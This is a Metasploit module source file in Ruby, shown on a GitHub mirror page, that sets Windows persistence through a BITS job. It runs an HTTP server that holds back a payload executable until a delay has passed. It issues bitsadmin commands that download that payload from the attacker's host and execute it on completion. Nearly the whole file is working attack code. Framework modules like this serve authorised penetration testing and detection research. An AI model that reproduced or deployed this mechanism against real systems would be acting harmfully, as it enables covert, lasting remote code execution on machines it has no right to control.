/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/windows/persistence/bits.rb
240 строк
11 KB
Diego Ledda
fix: update from srvhost to srvhost_addr
14 апр 2026, 18:16
Не верифицирован
14 апр 2026, 18:16
7ea55d8
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Priv include Msf::Post::File include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Persistence Bits Job', 'Description' => %q{ This module establishes persistence through a BITS job that downloads and executes a payload. Background Intelligent Transfer Service (BITS) is a Windows service for transferring files in the background using idle network bandwidth. BITS jobs are persistent and will resume across reboots until completed or cancelled. BITS does not include a timing mechanism for when jobs are run, so we control that in how we respond to the HTTP requests from the BITS client. This avoids needing to set up an external trigger to start the job like a scheduled task or similar. Similarily, BITS jobs are somewhat clock agnostic, so while we can set some time parameters, the aren't a guarantee of when the job will actually run. Jobs that we've idled via HTTP server response will have a "CONNECTING" status. BITS is fickle about the HTTP responses it expects, so we have to be precise in how the server responds. For a HEAD request we need to send back a correct Content-Length header matching the payload size, but with no body. For GET requests we need to handle byte range requests properly (althought not always used), sending back the appropriate Content-Range headers. If we respond incorrectly BITS may error out or retry in unexpected ways. However, we can trick BITS into not getting the payload until we want by responding to the GET requests with no body (aka how we responded to the HEAD requests) until our delay time has reached. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', ], 'Platform' => [ 'win' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Automatic', {} ] ], 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1197_BITS_JOBS], ['URL', 'https://pentestlab.blog/2019/10/30/persistence-bits-jobs/'], ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin'], ['URL', 'https://learn.microsoft.com/en-us/windows/win32/bits/life-cycle-of-a-bits-job'], ], 'DefaultTarget' => 0, 'Stance' => Msf::Exploit::Stance::Passive, 'Passive' => true, 'DisclosureDate' => '2001-10-01', # bits release date 'Notes' => { 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options([ OptString.new('JOB_NAME', [false, 'The name to use for the bits job provider. (Default: random)' ]), OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), # DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light # suggestion to the system OptInt.new('DELAY', [false, 'Delay in seconds before callback.', 1.hours.to_i]), OptInt.new('RETRY_DELAY', [false, 'Delay in seconds between retries.', 10.minutes.to_i]), ]) end def writable_dir d = super return session.sys.config.getenv(d) if d.start_with?('%') d end def http_response_head # unfortunately if we include a content-length header like: # return send_response(cli, generate_payload_exe, { 'Content-Length' => generate_payload_exe.bytesize }) # it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server # response to headers manually so they adhere to the spec close enough for BITS to accept it. # You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and # it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server. response = create_response(200, 'OK', '1.0') headers = [ # we want to send an arbitrarily low content length to prevent the server from doing Ranges. # while there is code to handle that, I've yet to determine a method to delay it from getting # the payload or going into an ERROR state and ceasing the job. "Content-Length: 5\r\n", # "Content-Length: #{@pload.bytesize}\r\n", "Accept-Ranges: none\r\n", "Last-Modified: #{Time.now.httpdate}" ] response = response.to_s response = response.sub('Content-Length: 0', headers.join) response = response.sub("Content-Type: text/html\r\n", "Content-Type: application/vnd.microsoft.portable-executable\r\n") response end def http_response_range(start_byte, end_byte) payload_size = @pload.bytesize if start_byte && end_byte # normal range: bytes=100-200 chunk = @pload.byteslice(start_byte, end_byte - start_byte + 1) elsif start_byte && !end_byte # bytes=500- (from 500 to end) chunk = @pload.byteslice(start_byte, payload_size - start_byte) end_byte = payload_size - 1 elsif !start_byte && end_byte # bytes=-100 (last 100 bytes) chunk = @pload.byteslice(payload_size - end_byte, end_byte) start_byte = payload_size - end_byte end_byte = payload_size - 1 else # fallback: send entire payload chunk = @pload start_byte = 0 end_byte = payload_size - 1 end vprint_status("HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client") headers = { 'Content-Type' => 'application/vnd.microsoft.portable-executable', 'Content-Range' => "bytes #{start_byte}-#{end_byte}/#{payload_size}" } response = create_response(206, 'Partial Content', '1.0') response.body = chunk response.headers.merge!(headers) response.to_s end def on_request_uri(cli, request) vprint_status("HTTP Server: #{request.method} #{request.uri} requested by #{request['User-Agent']} on #{cli.peerhost}") unless request['User-Agent'].downcase.include?('bits') vprint_error('HTTP Server: Non BITS client detected, sending 404') return end unless %w[HEAD GET].include?(request.method) vprint_error("HTTP Server: Ignoring #{request.method} request") return end if request.method == 'HEAD' vprint_good('HTTP Server: HEAD request received, sending response') return cli.put(http_response_head) end # BITS may use byte ranges, so we need to parse that out and send back the appropriate data if request.headers['Range'] =~ /bytes=(\d*)-(\d*)/ start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i return cli.put(http_response_range(start_byte, end_byte)) end if @start_time + datastore['DELAY'] > Time.now.to_i message = "HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore['DELAY']).strftime('%m/%d/%Y %H:%M:%S')} (#{(@start_time + datastore['DELAY']) - Time.now.to_i}s left), sending empty body back to force a retry" vprint_status(message) return cli.put(http_response_head) end vprint_status('HTTP Server: Sending full payload to BITS client') return send_response(cli, @pload, { 'Content-Type' => 'application/vnd.microsoft.portable-executable' }) end def check print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) Msf::Exploit::CheckCode::Vulnerable('Likely exploitable') end def install_persistence @pload = generate_payload_exe endpoint = Rex::Text.rand_text_alphanumeric(8..12) start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => "/#{endpoint}" }, 'ssl' => false }) job_name = datastore['JOB_NAME'] || Rex::Text.rand_text_alphanumeric(8..12) payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(8..12) payload_name += '.exe' unless payload_name.downcase.end_with?('.exe') result = cmd_exec("bitsadmin /create \"#{job_name}\"") id = begin result.match(/Created job (\{[0-9A-Fa-f-]{36}\})\./)[0] rescue StandardError nil end fail_with(Failure::UnexpectedReply, 'Failed to create BITS job') unless id print_good("Successfully created BITS job #{job_name} with ID #{id}") @start_time = Time.now.to_i cmd_list = [ %(bitsadmin /addfile "#{job_name}" "http://#{srvhost_addr}:#{srvport}/#{endpoint}" "#{writable_dir}\\#{payload_name}"), # this next line is a little complex. first we tell bits to complete the job which means after it's done transfering move the downloaded file from # a temp file to its final location and delete the job. Then run our payload %(bitsadmin /SetNotifyCmdLine "#{job_name}" "cmd.exe" "/c bitsadmin /complete \\\"#{job_name}\\\" && if exist \\\"#{writable_dir}\\#{payload_name}\\\" start /b \\\"\\\" \\\"#{writable_dir}\\#{payload_name}\\\"\""), %(bitsadmin /SetMinRetryDelay "#{job_name}" #{datastore['RETRY_DELAY']}), # seconds %(bitsadmin /setpriority "#{job_name}" high), %(bitsadmin /setnoprogresstimeout "#{job_name}" 10), # seconds %(bitsadmin /resume "#{job_name}") ] cmd_list.each do |cmd| vprint_status("Executing: #{cmd}") result = cmd_exec(cmd) vprint_line(" #{result.lines.last.chomp}") if result && !result.empty? end print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.") @clean_up_rc << "bitsadmin /cancel \"#{id}\"\n" @clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute end end